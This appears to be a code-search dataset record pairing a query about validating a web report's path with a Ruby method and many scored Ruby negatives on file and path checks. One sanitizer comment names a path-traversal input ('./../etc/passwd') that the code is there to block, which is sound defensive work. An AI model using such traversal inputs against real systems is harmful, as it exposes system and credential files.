to_s.to_propertyfile_escaped_s\n end", "def to_propertyfile_escaped_s\n to_s.to_propertyfile_escaped_s\n end", "def save\n File.open(path, 'w') do |out|\n YAML.dump(data, out)\n end\n end", "def save!\n File.open(connections_file, 'w') {|f| f.write(@connections.to_yaml) }\n end", "def flush\n @property_hash.clear\n end", "def flush\n @property_hash.clear\n end", "def flush\n @property_hash.clear\n end", "def save\n prepare\n h = {}\n h[:title] = @title\n h[:sequence] = @sequence.map(&:export)\n outfile = File.join(@basedir, \"#{@name}.json\")\n File.open(outfile, 'w') do |f|\n f.write JSON.pretty_generate(h)\n end\n end" ]
[ "0.8571951", "0.8441881", "0.8173245", "0.80819947", "0.7161865", "0.7098612", "0.7059542", "0.70456755", "0.7007282", "0.6993434", "0.6984136", "0.6939637", "0.67711157", "0.67557836", "0.67557836", "0.6670473", "0.6650842", "0.6626342", "0.6620851", "0.65961033", "0.6574523", "0.65729904", "0.6539155", "0.6512408", "0.6493896", "0.64933515", "0.6484908", "0.6474848", "0.64735025", "0.6449761", "0.64348805", "0.6427394", "0.6413692", "0.63868004", "0.63509595", "0.6347279", "0.63284963", "0.6319681", "0.6302328", "0.6287034", "0.6261214", "0.62553424", "0.6246995", "0.620809", "0.6188007", "0.6183144", "0.6177165", "0.61626524", "0.61625427", "0.6159752", "0.61552835", "0.6144644", "0.6096629", "0.6089743", "0.60812384", "0.6066352", "0.6057171", "0.6047207", "0.60462964", "0.60364765", "0.601232", "0.59828657", "0.59788215", "0.59728944", "0.59693044", "0.5965391", "0.5965391", "0.5944455", "0.5939694", "0.59367746", "0.5931208", "0.59275466", "0.5920331", "0.591378", "0.5903849", "0.58993244", "0.5898067", "0.5895612", "0.588851", "0.5880542", "0.5871989", "0.58525753", "0.5851759", "0.5829416", "0.5827707", "0.5827707", "0.5824633", "0.58239615", "0.5823027", "0.5815942", "0.57905674", "0.57788336", "0.5776479", "0.5776479", "0.5776114", "0.5773626", "0.5768786", "0.5768786", "0.5768786", "0.57680655" ]
0.5759022
100
Check whether the path is correct, particularly if we are making a webbased report
def allow_path(path) unless @web_document_root.nil? unless ancestor?(@web_document_root, path) raise OperationalError, "Report #{path} is not an ancestor of the web root #{@web_document_root}" end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def user_path?(file); end", "def valid_path path\n path and File.exists? path\n end", "def validate_file_path\n base_path = ::File.realpath(self.class.temp_dir)\n @path = ::File.realpath(params.permit(:file)[:file], base_path)\n unless @path.start_with?(base_path)\n raise ViewComponent::SystemTestControllerNefariousPathError\n end\n end", "def test_file(path, msg=\"file does not exist\")\n raise \"PdfBlender: #{msg}\" unless path && File.size(path) > 0\n path\n end", "def file_correct?(file_path)\n raise 'ERROR: Is your file path correct ?' unless File.exist?(file_path)\n end", "def validate_path\n site = self.try(:site) || (self.try(:tippable_type) == 'Site' ? Site.find(self.tippable_id) : nil)\n if site && path.present? && Site.where(hostname: site.hostname + self.path).any?\n errors.add(:path, 'you can\\'t use this path. Another website is defined with this hostname+path')\n end\n end", "def verify_physicalpath\n if @resource[:physicalpath].nil? || @resource[:physicalpath].empty?\n raise('physicalpath is a required parameter')\n end\n if is_local_path(@resource[:physicalpath])\n unless File.exist?(@resource[:physicalpath])\n raise(\"physicalpath doesn't exist: #{@resource[:physicalpath]}\")\n end\n end\nend", "def check_spec_path(name, version, spec)\n unless spec.name == name && spec.version.to_s == version.to_s\n message = \"Incorrect path #{spec.defined_in_file}\"\n report.add_message(:error, message, name, spec.version)\n end\n end", "def would_require?(path); end", "def check_spec_path\n expected = \"#{spec.name}/#{spec.version}/#{spec.name}.podspec\"\n relative_path = spec_path.relative_path_from(source.repo).to_s\n unless relative_path == expected\n error \"Incorrect path, the path is `#{relative_path}` and should be `#{expected}`.\"\n end\n end", "def valid_file_path?(path)\n path && File.exist?(path) && File.readable?(path)\n end", "def path_would_break_wraith?(path)\n path.include?('path')\n end", "def test_connection\n if !File.file?(@report_file)\n return \"Can't find path to report file: #{@report_file}\"\n end\n nil\n end", "def is_path?\n !!((@file.is_a?(String) || @file.is_a?(Pathname)) && [email protected]?)\n end", "def in_path?(path); end", "def check_file(path)\n raise Error, \"The path '#{path}' does not exist or is not a file\" unless path.file? || attrs[:exists] == false\n end", "def path?\n !path.empty?\n end", "def valid_path?(path)\n if path != '/' && path !~ /^\\/.*\\/$/\n puts \"Path '#{path}' must begin and end with a forward slash.\"\n return false\n end\n\n true\n end", "def file_chk( path )\n if File.exist?( path ) == false\n raise JackRDF_Critical, \"#{path} is not a valid file\"\n end\n end", "def valid?\n File.exist?(fullpath)\n end", "def relative?\n\t\tpath[0] == 47\n\tend", "def stdlib_path?(file); end", "def valid_path?(path_name)\n is_valid_dir = true\n if path_name.nil? or path_name.empty?\n dlg = Gtk::MessageDialog.new(@mainWindow, \n Gtk::Dialog::DESTROY_WITH_PARENT, \n Gtk::MessageDialog::WARNING, \n Gtk::MessageDialog::BUTTONS_CLOSE, \n \"Must specify a file name for the generated PDF file\")\n dlg.run\n dlg.destroy\n is_valid_dir = false\n end\n dir_name = File.dirname path_name\n unless File.directory? dir_name\n dlg = Gtk::MessageDialog.new(@mainWindow, \n Gtk::Dialog::DESTROY_WITH_PARENT, \n Gtk::MessageDialog::WARNING, \n Gtk::MessageDialog::BUTTONS_CLOSE, \n \"Not a valid directory: #{ dir_name }; cannot continue\")\n dlg.run\n dlg.destroy\n is_valid_dir = false\n end\n if File.exist? path_name\n dlg = Gtk::MessageDialog.new(@mainWindow, \n Gtk::Dialog::DESTROY_WITH_PARENT, \n Gtk::MessageDialog::WARNING, \n Gtk::MessageDialog::BUTTONS_YES_NO, \n \"File (#{path_name}) already exists, overwrite it\")\n response = dlg.run\n dlg.destroy\n is_valid_dir = response == Gtk::Dialog::RESPONSE_YES\n end\n is_valid_dir\n end", "def bad_xcode_select_path?\n folder == \"/\"\n end", "def has_valid_game_path?\n return File.exists?(game_path)\n end", "def path_existance_check(path_name_param, path_name, lang_choice)\n if Dir.exists?(path_name_param)\n haml_existance_check(path_name, lang_choice)\n return 0\n else\n $flag = 2\n if lang_choice == 1\n puts 'No such directory found'\n else\n puts \"Aucun répertoire de ce type n'a été trouvé\"\n end\n return -1\n end\n end", "def check_existance_of_path(path)\n\n if not path == nil\n question = absolute_path(path)\n File.exists?(question)\n else\n nil\n end\n end", "def file_exist?(path)\n full_path = ::File.join(@static_server.root, ::Merb::Parse.unescape(path))\n ::File.file?(full_path) && ::File.readable?(full_path)\n end", "def warn_if_invalid_filepath(filepath)\n\n rails_model_pathname = Pathname.new(filepath)\n unless rails_model_pathname.exist?\n puts \"'#{filepath}'is not a valid filepath\"\n exit 1\n end\n\n rails_model_pathname \nend", "def path_is?(path)\n @location.path_is?(path)\n end", "def path?\n !path.nil? && File.directory?(path)\n end", "def assert_path!(path)\n return unless path\n\n unless File.exist?(path)\n raise \"File doesn't exist: #{path}\"\n end\n end", "def current_path?(file); end", "def file_exists?(path)\n end", "def file_exists?(path)\n parse_boolean(transport.execute(\"Test-Path #{escape(path)}\", :read_only => true).stdout)\n end", "def path?(val)\n !!(val =~ /\\A\\//)\n end", "def check_file_exist(path)\n raise \"Cannot find: #{path}\" unless File.exist?(path)\n end", "def refute_path_exists(path, msg = T.unsafe(nil)); end", "def path_exists?(path)\n File.exists?(path)\n end", "def path_defined?(path)\n return (not root_defined_path_part[path].nil?)\n end", "def valid_path?(path)\n !!(path =~ PATH_REGEX)\n end", "def check_path(p_path)\n\t\t\n\t\t\t# Try to create a path out of the given text, store result\n\t\t\tdir = Qt::Dir.new(p_path)\n\t\t\tresult = dir.exists\n\t\t\t\n\t\t\t# Check if it's an existing path\n\t\t\tif result\n\t\t\t\t\n\t\t\t\t# Get canonical path, index of path within the FileSystem TreeView\n\t\t\t\t@path = dir.canonicalPath\n\t\t\t\tidx = @shell_tree_view.model.index(@path)\n\t\t\t\t\n\t\t\t\t# Select the parsed path, scroll to it\n\t\t\t\tscroll_to_index(idx)\n\t\t\t\t\n\t\t\t\t# Update combo box\n\t\t\t\tpath_changed(idx)\n\t\t\telse\n\t\t\t\tset_folder_icon(true)\n\t\t\tend\n\t\t\t\n\t\t\t# Return result\n\t\t\tresult\n\t\tend", "def validate_existence(path, prefix = '')\n pn = Pathname.new(path)\n git = pn + '.git'\n return Issue.new(\"#{prefix}#{pn} is not an absolute path. It must be fully qualified, not relative\") unless pn.absolute?\n return Issue.new(\"#{prefix}#{pn} is not a directory. Has it been cloned?\") unless pn.directory?\n return Issue.new(\"#{prefix}#{pn} is not readable. Are permissions correct?\") unless pn.readable?\n return Issue.new(\"#{prefix}#{git} does not exist. Has #{git.dirname} been cloned properly?\") unless git.directory?\n end", "def ensure_leading_slash(path); end", "def sanitize_file_path(filename, base_path)\n # Resolve absolute path.\n path = File.expand_path(\"#{base_path}/#{filename}\")\n logger.info(\"Resolving file download: #{filename}\\n => #{base_path}/#{filename}\\n => #{path}\") unless logger.nil?\n\n # Deny ./../etc/passwd and friends.\n # File must exist, be readable, and not be a directory, pipe, etc.\n #logger.info \"tests: regexp #{path =~ /^#{File.expand_path(base_path)}/}\"\n #logger.info \"tests: readable #{File.readable?(path)}\"\n #logger.info \"tests: file #{File.file?(path)}\"\n raise MissingFile, \"couldn't read #{filename}\" unless\n path =~ /^#{File.expand_path(base_path)}/ and\n File.readable?(path) and\n File.file?(path)\n\n return path\n end", "def file_contains_daily_report?\n if self.file_content.include?('. R A P O R T F I S K A L N Y D O B O W Y ')\n return true\n else\n errors.add(:file, :contains_no_daily_report)\n return false\n end\n end", "def request_is_file?(path)\n question = absolute_path(path) \n File.file?(question) \n end", "def absolute?(path); end", "def resolve_path(path)\n fail_script_unless_file_exists path\n return path\n end", "def resolve_path(path)\n fail_script_unless_file_exists path\n return path\n end", "def check_source(path)\n raise Exceptions::FileNotFoundError, 'Source path was empty or nil' if path.nil? || (path.is_a?(String) && path.empty?)\n path = Pathname(path)\n\n # Maybe worth resolving symlinks to a realpath, but currently does not cause any failures without\n #path = File.realpath(File.readlink(path)) if File.symlink?(path)\n raise Exceptions::FileNotFoundError, \"Source does not exist: #{path}\" unless path.exist?\n raise Exceptions::FileEmptyError, \"Source exists, but has no content: #{path}\" if path.zero?\n\n path\n end", "def valid_path?(path)\n !!self.run_state.active_permissions.map(&:pattern).detect do |regex|\n regex.match(path)\n end\n end", "def valid?\n File.exist?(path) && File.readable?(path)\n end", "def validateRequiredFiles()\n @sampleSheet = @baseCallsDir + \"/SampleSheet.csv\" \n\n if !File.exist?(@sampleSheet)\n raise \"Missing SampleSheet.csv in directory: \" + @baseCallsDir\n end\n end", "def validateRequiredFiles()\n @sampleSheet = @baseCallsDir + \"/SampleSheet.csv\" \n\n if !File.exist?(@sampleSheet)\n raise \"Missing SampleSheet.csv in directory: \" + @baseCallsDir\n end\n end", "def valid?\n ensure_file_open!\n\n ['Makefile', 'submission/', 'tests/'].all? { |entry| @file.find_entry(entry).present? }\n end", "def reports_path; end", "def reports_path; end", "def check_path_for_danger_to_remove path\n absolute_path = File.expand_path(path).strip \n if absolute_path.blank? || absolute_path == '/'\n raise \"Removing '#{absolute_path}' is too dangerous.\"\n end\n end", "def check_file?(path)\n Actions.check_file path\n rescue FileError\n false\n else true\n end", "def path\n ensure_valid\n @path\n end", "def file?(path)\n # :nocov:\n false\n # :nocov:\n end", "def fully_qualified_dir_path?(path)\n path[0, 1] == '/'\n end", "def valid_file?(path)\n case path\n when %r|/abcdef$|, %r|^\\./tmp/db/\\w+?/database.yml$|\n return false\n end\n return true\n end", "def clarify_pagefile_name\n case new_resource.path\n # user enters C, C:, C:\\, C:\\\\\n when /^[a-zA-Z]/\n new_resource.path[0] + \":\\\\pagefile.sys\"\n # user enters C:\\pagefile.sys OR c:\\foo\\bar\\pagefile.sys as the path\n when /^[a-zA-Z]:.*.sys/\n new_resource.path\n else\n raise \"#{new_resource.path} does not match the format DRIVE:\\\\path\\\\pagefile.sys for pagefiles. Example: C:\\\\pagefile.sys\"\n end\n end", "def file_exists?\r\n File.file?(full_path)\r\n end", "def check_path_re\n check = (self.path_re == '^/$' || self.path_re.blank?) && self.path.present?\n self.path_re = ['^', Regexp.escape(self.path), '$'].join() if check\n end", "def file_exists(file_loc)\r\n puts \"====file exists=======\"\r\n #\r\n # Check if its abs or rel path\r\n unless Pathname.new(file_loc).absolute? then\r\n file_loc = File.join(SAF::DATA_EXCEL, file_loc)\r\n end\r\n unless File.file?(file_loc)\r\n raise \"File doesn't exist.\"\r\n end\r\n return file_loc\r\n end", "def check_path(path)\n checked_path = path\n checked_path = checked_path << '/' if !path.end_with?('/')\n \n return checked_path\n end", "def is_file?(path)\n ::File.file? abspath(path)\n end", "def file?\n File.exist?(path) && File.directory?(path)\n end", "def ca_path?\n !@ca_path.to_s.strip.empty?\n end", "def maybe_hidden_file?(path); end", "def maybe_hidden_file?(path); end", "def path_exists?(path)\n raise NotImplementedError\n end", "def ignored_file?(path); end", "def file_not_found(path)\n raise \"File not mapped in Chance instance: #{path}\"\n end", "def file_error(file_path)\n unless File.exists?(file_path)\n file = File.basename(file_path)\n session[:message] = \"#{file} does not exist.\"\n end\nend", "def is_path?(); @type == GRT_PATH; end", "def in_path?\n config.paths.any? do |path_spec|\n path_spec === file\n end\n end", "def valid_path?(path)\n # Maximum length\n return false if path.length > 255\n # Valid characters allowed\n ch = /[A-Za-z0-9_\\-.$\\/~\"'@:+]*/\n # Require leading slash, maximum one wildcard allowed at start or end\n !!path.match(/^\\/( \\*#{ch} | #{ch}\\* | #{ch} )$/x)\nend", "def is_unc_path(path)\n (path =~ %r{^\\\\\\\\[^\\\\]+\\\\[^\\\\]+})\nend", "def verify_path component\n if !File.exists? File.join @tar_contents_path, component\n raise MissingChefComponentError, \"The '#{component}' directory does not exist within the tar file\"\n end\n end", "def valid_refspec_path?(refspec)\n !refspec || refspec == '' || parse_refspec(refspec) ? true : false\n end", "def strict_file_exists?(path)\n directory = `dirname #{path}`.chomp\n name = `basename #{path}`.chomp\n !`find \"#{directory}\" -name \"#{name}\"`.empty?\n end", "def report_path(report_path)\n @report_path = report_path\n end", "def run_path_to_host_legal?(host_path)\n\t\t\tif v.path_to_host_legal?(host_path)\n\t\t\t\tpath_to_host = v.get_path_to_host(host_path)\n\t\t\t\t$stdout.puts Rainbow(\"Success: '#{path_to_host}' is legal path for app\").green\n\t\t\telse\n\t\t\t\texit 1\n\t\t\tend\n\t\tend", "def validate_file(filename)\n unless File.file?(file_path(filename))\n session[:error] = \"#{filename.split(\"/\").last} does not exist.\"\n redirect \"/\"\n end\nend", "def check_for_file(format)\n File.exists?(\"#{@work.download_basename}.#{format}\")\n end", "def valid_search_path?(path)\n if File.directory?(path) and Pathname.new(path).absolute?\n return true\n elsif path.match %r[^file:/]\n return true\n end\n\n return false\n end", "def sanitized_path(base_directory, questionable_path); end", "def sanitized_path(base_directory, questionable_path); end", "def sanitized_path(base_directory, questionable_path); end", "def sanitized_path(base_directory, questionable_path); end", "def sanitized_path(base_directory, questionable_path); end", "def sanitized_path(base_directory, questionable_path); end", "def file_exists?(file_path)\n File.exist? @site.in_source_dir(file_path)\n end", "def empty_path?\n super || remaining_path == '/'\n end", "def validate_paths(paths)\n normalize_paths paths\n nil\nend", "def relative_path?(path)\n path =~ /^\\.\\.?($|\\/)/ ? true : false\n end" ]
[ "0.68995434", "0.68869215", "0.6711418", "0.65979177", "0.65624976", "0.65154403", "0.6491817", "0.64865386", "0.6483319", "0.64182436", "0.63812447", "0.63698685", "0.6332655", "0.63273966", "0.6303586", "0.6292887", "0.6274326", "0.62506956", "0.6212557", "0.6189066", "0.61094534", "0.6015471", "0.6014023", "0.6012044", "0.60115546", "0.60020405", "0.5989563", "0.5984792", "0.59782565", "0.597114", "0.59704554", "0.5955866", "0.5952429", "0.5939431", "0.58831847", "0.58818185", "0.58787733", "0.5867603", "0.5861949", "0.585586", "0.5830249", "0.58210725", "0.58127546", "0.5806672", "0.5805292", "0.58039796", "0.5797515", "0.5775854", "0.5761366", "0.5761366", "0.5753353", "0.5751747", "0.57493275", "0.5739588", "0.5739588", "0.5736614", "0.5732817", "0.5732817", "0.5730652", "0.57263255", "0.5719277", "0.5711332", "0.5710852", "0.5710401", "0.57063997", "0.5695203", "0.5693632", "0.56912845", "0.5682388", "0.56774527", "0.5671811", "0.56683075", "0.56625485", "0.56625485", "0.5656236", "0.56530195", "0.56465995", "0.563946", "0.56262153", "0.56241536", "0.5623091", "0.5614178", "0.56086147", "0.56044537", "0.5597046", "0.5594592", "0.5583184", "0.5582901", "0.5577495", "0.5576409", "0.55758417", "0.55758417", "0.55758417", "0.55758417", "0.55758417", "0.55758417", "0.55727106", "0.5565892", "0.5565117", "0.5564891" ]
0.66717005
3
TODO add configuration to allow custom selection of what types of cards are accepted
def validate cc = self.credit_card cc.validate cc.errors.full_messages.each do |e| self.errors.add_to_base(e) end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def card_types\n card_types = [\"Visa\", \"Mastercard\", \"Discover\", \"American Express\"]\n end", "def set_card_types\r\n credit_cards = 'vi-mc'\r\n credit_cards.concat('-di') if @PARAM_HASH['DISCOVER_IMAGE'] == 'discvr.gif'\r\n credit_cards.concat('-am') if @PARAM_HASH['AMEX_IMAGE'] == 'amex.gif'\r\n return credit_cards \r\n end", "def set_card_types\r\n credit_cards = 'vi-mc'\r\n credit_cards.concat('-di') if @PARAM_HASH['DISCOVER_IMAGE'] == 'discvr.gif'\r\n credit_cards.concat('-am') if @PARAM_HASH['AMEX_IMAGE'] == 'amex.gif'\r\n return credit_cards \r\n end", "def card_type\n card[:type]\n end", "def card_type\n @type\n end", "def check_card_type\n card_type && (card_type == 'VISA' || card_type == 'MASTERCARD' || card_type == 'AMEX')\n end", "def card_type\n @card_type ||= CARD_TYPES.keys.detect { |t| card_has_type?(t) }\n end", "def credit_card(*types); end", "def card_detection\n end", "def card_type\r\n length = @num.length\r\n if length == 15 && @num =~ /^(34|37)/\r\n \treturn 'AMEX'\r\n elsif length == 16 && @num =~ /^6011/\r\n \treturn 'Discover'\r\n elsif length == 16 && @num =~ /^5[1-5]/\r\n \treturn 'MasterCard'\r\n elsif (length == 13 || length == 16) && @num =~ /^4/\r\n \treturn 'Visa'\r\n else\r\n return 'Unknown'\r\n end\r\n end", "def card_type(card_nr)\n case card_nr.to_s[0].to_i # first digit\n when 3\n Credit::Names::AMEX\n when 4\n Credit::Names::VISA\n when 5\n Credit::Names::MASTERCARD\n else\n Credit::Names::INVALID\n end\n end", "def valid_card_type\n return if self.card_type.blank? or not self.member\n if !(self.member.club.allowed_card_types.include?(self.card_type))\n errors.add(:kaarttype, \"wordt niet toegelaten door deze club\")\n end\n end", "def set_card_type\n self.cc_type ||= CardDetector.brand?(number)\n end", "def set_card_type\n self.cc_type ||= Spree::Creditcard::CardDetector.type?(self.number.to_s.gsub(/\\s/,''))\n end", "def type\n CARD_TYPES_NAMES[@validator.card_type] || 'Unknown'\n end", "def credit_card_type(credit_card)\n case credit_card.type\n when \"visa\"\n 'VISA'\n when \"master\"\n 'MC'\n when \"discover\"\n 'DISC'\n when \"american_express\"\n 'AMEX'\n end\n end", "def use_card\n waiting_to_confirm_placement = true\n waiting_to_use_card = true\n invalid_usage = nil\n invalid_confirmation = nil\n remind_cannot_discard = nil\n \n while waiting_to_confirm_placement\n while waiting_to_use_card\n DisplayManager.prepare_ingame_display\n show_state\n puts \"Newest Card: #{@selected_card.to_s} #{'* you cannot discard this card' if @drew_from_discard}\" unless @selected_card.nil?\n puts \"You cannot discard this card because you drew it from the discard pile.\" if remind_cannot_discard\n remind_cannot_discard = false\n \n @card_to_replace = nil\n @card_to_discard = nil\n\n puts InputManager.input_options({ negative: 'Discard this Card', rack_positions: 'Switch With Card at Position' }, invalid_usage)\n invalid_usage = nil\n\n @placement_response = InputManager.get\n\n # If player chooses a location in their rack\n # Get ready to exchange those cards\n if InputManager::INPUTS[:rack_positions].include?(@placement_response)\n prep_place_card_in_rack(@placement_response)\n waiting_to_use_card = false\n\n # If player chooses to discard their card\n # get ready to discard their card\n # Disallow discard if card was drawn from the discard pile\n elsif InputManager.negative?(@placement_response)\n if @drew_from_discard\n remind_cannot_discard = true\n else\n prep_discard_drawn_card\n waiting_to_use_card = false\n end\n else\n invalid_usage = @placement_response\n end\n end\n\n DisplayManager.prepare_ingame_display\n show_state\n puts \"Newest Card: #{@selected_card.to_s}\"\n\n if @card_to_replace\n puts \"You want to exchange #{@card_to_replace.to_s} with #{@selected_card.to_s}.\"\n else\n puts \"You do not want to use #{@selected_card.to_s}.\"\n end\n\n puts \"You are discarding #{@card_to_discard.to_s}.\"\n\n puts InputManager.input_options({ affirmative: 'Save and Complete Turn', negative: 'Do Something Different' }, invalid_confirmation)\n invalid_confirmation = nil\n confirm_response = InputManager.get\n\n # If player confirms their decision\n # persist their decision\n if InputManager.affirmative?(confirm_response)\n save_and_discard(@placement_response)\n waiting_to_confirm_placement = false\n \n # If player changes their mind\n # allow them to choose how to use their card again \n elsif InputManager.negative?(confirm_response)\n waiting_to_use_card = true\n else\n invalid_confirmation = confirm_response\n end\n end\n end", "def card_params\n params.require(:card).permit(:pack_code, :pack_name, :type_code, :type_name, :faction_code, :faction_name, :position, :name, :cost, :text, :income, :initiative, :claim, :reserve, :deck_limit, :strength, :traits, :flavor, :illustrator, :is_unique, :is_loyal, :is_military, :is_intrigue, :is_power, :is_multiple, :image_url, :label, :ci, :si)\n end", "def credit_card_type\n params['CardType']\n end", "def card_type_for(number)\n CARD_TYPE_BY_REGEX.each do |regex, card|\n return card if number.to_s =~ regex\n end\n :unknown\n end", "def set_card_type\n @card_type_name = (params[:type] || default_type)\n @full_type_name = @card_type_name\n @card_type = @full_type_name.classify.constantize\n raise(ArgumentError, \"No valid card type\") unless(@card_type <= BaseCard)\n @card_type\n end", "def matching_card_type?(number, card_type)\n card_type?(number) == card_type\n end", "def validate_for_card\n tt = self.transaction_type.to_i\n \n # mandatory: transaction_type must != (30, 31, 32, 34, 35)\n append_error(:cc_number, \"cc_number must not be set for tagged transactions\") if [30,31,32,34,35].include?(tt)\n \n # amount, cardholder_name always mandaory\n mandatory = [:amount, :cardholder_name]\n \n # card_number & expiry_date mandatory for all except 50, 54\n # pan mandatory for only 50, 54\n mandatory << ([50,54].include?(tt) ? :pan : [:cc_number, :cc_expiry])\n mandatory.flatten!\n\n # reference_no mandatory for 60\n mandatory << :reference_no if tt == 60\n \n # auth_number mandatory for (02, 03, 11, 12, 13)\n mandatory << :authorization_num if [02, 03, 11, 12, 13].include?(tt)\n \n check_mandatory(mandatory)\n end", "def initialize\n @card_classes = ['Hearts','Spades','Diamonds','Clubs']\n @card_types = ['Two of','Three of','Four of','Five of','Six of','Seven of','Eight of','Nine of','Ten of','Jack of','Queen of' ,'King of','Ace of']\n @deck = []\n @card_types.each do |c_types|\n @card_classes.each do |c_class|\n @deck.push(c_types + \" \" + c_class)\n end\n end\n end", "def get_card_type()\n return @RESPONSE_HASH['CARD_TYPE']\n end", "def credit_card_type; end", "def card_types_information\n [\"Visa\",\"Mastercard\",\"American Express\"].collect{|i| \"<option>#{i}</option>\"}.join('').html_safe\n end", "def get_card\n end", "def card_params\n params.require(:card).permit(:no, :tag, :question, :answer, :comment, :is_archive, :is_link, :original)\n end", "def card_type_params\n params.require(:card_type).permit(:code, :name)\n end", "def card\n false\n end", "def show\n @card = Card.find params[:id]\n @[email protected]_type\n end", "def set_card_type\n @card_type = CardType.find(params[:id])\n end", "def match?(choices)\n\n @choices = choices\n raise ArgumentError, 'Checker received non-card input' unless @choices.kind_of?(Array)\n raise ArgumentError, 'A set has 3 cards! Please select 3 cards!' unless @choices.size == 3\n\n # Logic: \"MAKE THIS TERSE\"\n numbers = Array.new(3) { |i| choices[i].number }\n symbols = Array.new(3) { |i| choices[i].symbol }\n shadings = Array.new(3) { |i| choices[i].shading }\n colors = Array.new(3) { |i| choices[i].color }\n\n features = [numbers, symbols, shadings, colors]\n @result = features.all? { |feature| feature.uniq.size != 2 }\n end", "def default_card\n # noop\n end", "def card_params\n params.require(:card).permit(:name, :year, :description, :sku, :price, :serial_number, :front_image_url, :available, :back_image_url, :team_ids => [], :c_attribute_ids => [], :card_manufacturer_ids => [], :player_ids => [])\n end", "def get_cards(deck)\n\n end", "def get_next_card\n if params[:type]\n num_of_cards = session[:all_cards].size - 1\n random_num = rand(0..num_of_cards)\n\n #Ensures a previously dealt card is not dealt again\n while( session[:all_cards][random_num].to_i==0 )\n random_num = rand(0..num_of_cards)\n end\n\n selected = session[:all_cards][random_num]\n session[:all_cards][random_num] = 0\n session[:player_cards] << selected if params[:type].to_s==\"player\"\n session[:dealer_cards] << selected if params[:type].to_s==\"dealer\"\n @status = :ok\n else\n selected = nil\n @status = :failed \n end\n respond_to do |format|\n format.json { render :json => {:status => @status, :selected => selected} }\n end\n end", "def type\n self['card'] || 'summary'\n end", "def create\n @card_number = CardNumber.new(params[:card_number])\n length = @card_number.number.size\n if length == 15 && @card_number.number =~ /^(34|37)/\n @card_number.card_type = \"American Express\"\n elsif length == 16 && @card_number.number =~ /^6011/\n @card_number.card_type = \"Discover\"\n elsif length == 16 && @card_number.number =~ /^5[1-5]/\n @card_number.card_type = \"MasterCard\"\n elsif (length == 13 || length == 16) && @card_number.number =~ /^4/\n @card_number.card_type = \"Visa\"\n elsif length == 14 && @card_number.number =~ /^30[0-5]|36|38|/\n @card_number.card_type = \"Diners\"\n else\n @card_number.card_type = \"Unknown\"\n end \n respond_to do |format|\n if @card_number.save\n format.html { redirect_to @card_number, notice: 'Broj kartice je uspjesno spremljen u bazu.' }\n format.json { render json: @card_number, status: :created, location: @card_number }\n else\n format.html { render action: \"new\" }\n format.json { render json: @card_number.errors, status: :unprocessable_entity }\n end\n end\n end", "def card_params\n params.require(:card).permit(:result_no, :generate_no, :e_no, :s_no, :name, :possession, :kind, :card_id)\n end", "def get_chosen_card(player, match_card, deck)\n begin\n puts 'Enter colour (R, B, Y, G) followed by a number(0-9) - Eg to play a Red 7, enter R7'\n puts 'Or, R, B, Y, G followed by R-Reverse, S-Skip or P2-Pickup 2 - Eg to play a Green Pickup 2, enter GP2'\n puts 'Enter WC for Wild Card, WP4 for Wild Pickup 4 '\n puts 'Enter D to pick up from the deck'\n puts 'What would you like to play? '\n option = gets.downcase\n color = option[0]\n number = option[1, 2].strip\n color = validate_color(color)\n if color == 'Draw'\n player.cards << deck.take_card\n return false\n end\n number = validate_number(number)\n chosen_card = validate_card_in_hand(color, number, player)\n validate_card_matches_discard(color, number, match_card)\n rescue InvalidColorError => e\n puts e.message\n retry\n rescue InvalidNumberError => e\n puts e.message\n retry\n rescue InvalidCardInHandError => e\n puts e.message\n retry\n rescue InvalidCardMatchError => e\n puts e.message\n retry\n end\n chosen_card\n end", "def cards(options = { :filter => :open })\n return @cards if @cards\n @cards = Client.get(\"/boards/#{id}/cards\").json_into(Card)\n end", "def credit_card?(type_or_object)\n if type_or_object.is_a?(String) || type_or_object.is_a?(Symbol)\n [:visa, :mastercard, :amex, :discover].include?(normalize_type(type_or_object))\n else\n type_or_object.is_a?(ActiveMerchant::Billing::CreditCard)\n end\n end", "def determine_playable_cards\n playable_cards = []\n hand.each do |card_in_hand|\n if card_in_hand[\"cost\"] <= @mana_available\n playable_cards.push(card_in_hand)\n end \n end\n if mana_available >= 2\n playable_cards.push(\"hero ablity\")\n end\n playable_cards\n end", "def set_card_face_type\n @card_ace_type = CardAceType.find(params[:id])\n end", "def card_params\n params.require(:card).permit(:card_type, :request_type, :activity_type, :requester_name, :requester_email, :requester_div, :contact_names, :title, :short_description, :prev_work, :accomplish, :benefits, :goal_alignment, :at_stake, :ext_pressure, :non_tech, :time_constraints, :priority, :sponsor, :more_info, :short_name, :in_cycle, :start_cycle, :done_cycle, :card_status, :ext_link, :lit_lead, :lit_dept, :service_lead, :other_contacts, :comments, :at_stake_details, :accomplish_details, :non_tech_details, :benefits_details, :ext_pressure_details, :time_constraints_details, :exp_start_month, :exp_start_month_month, :exp_start_month_year, :exp_end_month, :exp_end_month_month, :exp_end_month_year, :epic)\n end", "def credit_card_type\n fetch('business.credit_card_types')\n end", "def card_type\n if course.present? and course_type == 'Course::Training'\n 'training'\n else\n 'course'\n end\n end", "def card_params\n params.require(:card).permit(:user_id, :model_id, :type, :power, :create_datetime)\n end", "def get_credit_card(credit_card)\n CREDIT_CARD_TYPES[credit_card]\n end", "def initialize\n @cards = []\n suits = [:hearts, :diamonds, :spades, :clubs]\n suits.each do |suit|\n (2..10).each do |value|\n @cards << Card.new(suit, value)\n end\n [\"J\", \"Q\", \"K\", \"A\"].each do |facecard|\n @cards << Card.new(suit, facecard)\n end\n end\n\n def shuffle!\n cards.shuffle!\n end\n\n def empty?\n self.cards.empty?\n end\n\n\nend", "def parse_cards\n cards = []\n card_nodes = search('tr.cardItem')\n card_nodes.each do |card_node|\n card = {}\n card[:name] = name(card_node)\n card[:mana_cost] = mana_cost(card_node)\n card[:cmc] = cmc(card_node)\n card[:rules] = rules(card_node)\n card[:power] = power(card_node)\n card[:toughness] = toughness(card_node)\n card[:set_versions] = set_versions(card_node)\n\n # Supertype, Subtype, P/T, Loyalty, Hand/Life Modifiers, etc are all stored in the same node\n type_data = type_data(card_node)\n card.merge! type_data\n\n cards << card\n p card if DEBUG\n end\n cards\n end", "def card_params\n params.require(:card).permit(:question, :answer, :is_disabled, :image, :image_remote_url, :raw_latex)\n end", "def gen_cards\n # done in a verbose manner so that code is easy to understand\n %w[H D S C].each do |suit|\n @cards.push(Card.new('Ace', suit, 1))\n @cards.push(Card.new('Two', suit, 2))\n @cards.push(Card.new('Three', 